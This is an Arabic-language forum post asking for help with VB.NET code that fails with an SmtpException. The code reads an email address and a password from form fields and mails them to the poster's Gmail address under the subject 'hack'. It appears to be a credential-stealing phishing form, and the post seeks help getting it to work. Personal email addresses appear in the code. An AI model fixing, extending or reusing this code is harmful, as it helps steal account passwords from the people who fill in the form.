[صفاء احمد]

السلام عليكم عندي برنامج لارسال الرسائل وحسب علمي الكود صحيح لكن لم ينفذ وهذا الكود
I
 ارجو من الاخوة المساعدة في حل هذه الاشكلة

كود :

Imports System.Net.Mail
Public Class Form1

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim ss As New MailMessage
       Try
           ss.From = New MailAddress("safa2027@gmail.com")
           ss.To.Add("safas2027@gmail.com")
           ss.Subject = "hack"
           ss.Body = "email :" + TextBox1.Text + "password :" + TextBox2.Text
           Dim smtp As New SmtpClient("smtp.mail.com")
           smtp.Port = 587
           smtp.EnableSsl = True
           smtp.Credentials = New System.Net.NetworkCredential("safas2027@gmail.com", pass.Text)
           smtp.Send(ss)
           MsgBox("تم الارسال ")
       Catch ex As Exception
       End Try
   End Sub
End Class

وتضهر الرسالة التالية
A first chance exception of type 'System.Net.Mail.SmtpException' occurred in System.dll